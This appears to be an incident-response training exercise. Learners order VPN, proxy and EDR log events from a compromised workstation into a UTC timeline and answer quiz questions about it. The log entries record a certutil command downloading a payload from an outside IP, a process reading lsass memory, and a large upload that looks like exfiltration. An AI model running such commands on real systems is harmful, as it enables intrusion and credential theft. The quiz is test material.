Incident timeline builder
Events from VPN, proxy, and EDR logs use three time zones. Normalise them to UTC, put them in order, and measure how long the attacker had.
Goal
One workstation was compromised overnight. You have eight events from three tools, and each tool writes timestamps in its own zone and format.
Convert everything to UTC, sort it, and read the story in order: how the attacker got in, what they did, and how long they had before the SOC isolated the machine.
Sources
- VPN gateway
- UTC
2026-03-12T22:41:07Z - Web proxy
- US Eastern, daylight time (UTC−04:00)
12/Mar/2026:18:55:31 -0400 - EDR console
- Central European Time (UTC+01:00)
2026-03-12 23:58:12 +0100
Timeline
| Time | Source | Event |
|---|---|---|
2026-03-13 02:21:40 +0100 | EDR console | WS-114 isolated from the network by the SOC |
12/Mar/2026:18:44:10 -0400 | Web proxy | ben GET https://outlook.office.com/mail/ 200 |
2026-03-13 01:12:44 +0100 | EDR console | C:\Users\Public\a.exe opened lsass.exe with PROCESS_VM_READ |
2026-03-12T22:41:07Z | VPN gateway | ben authenticated from 198.51.100.23, profile remote-staff |
12/Mar/2026:21:05:19 -0400 | Web proxy | ben POST https://upload.files-share.example/u 48.2 MB 200 |
2026-03-12 23:47:30 +0100 | EDR console | EXCEL.EXE started wscript.exe C:\Users\ben\AppData\Local\Temp\inv.vbs |
12/Mar/2026:18:55:31 -0400 | Web proxy | ben GET http://203.0.113.50/a.txt 200 (user agent CertUtil URL Agent) |
2026-03-12 23:55:29 +0100 | EDR console | wscript.exe started certutil.exe -urlcache -split -f http://203.0.113.50/a.txt |
Steps
01Build the timeline: convert every timestamp to UTC and sort the events.
Do this in the workbench above. This step completes itself when the condition is met.
02The proxy logged the a.txt download at 18:55:31 -0400. What is that in UTC (HH:MM:SS)?
03Which malicious event comes first?
04On what UTC date (YYYY-MM-DD) did a.exe open lsass.exe?
05How many whole minutes passed between the first malicious event and isolation?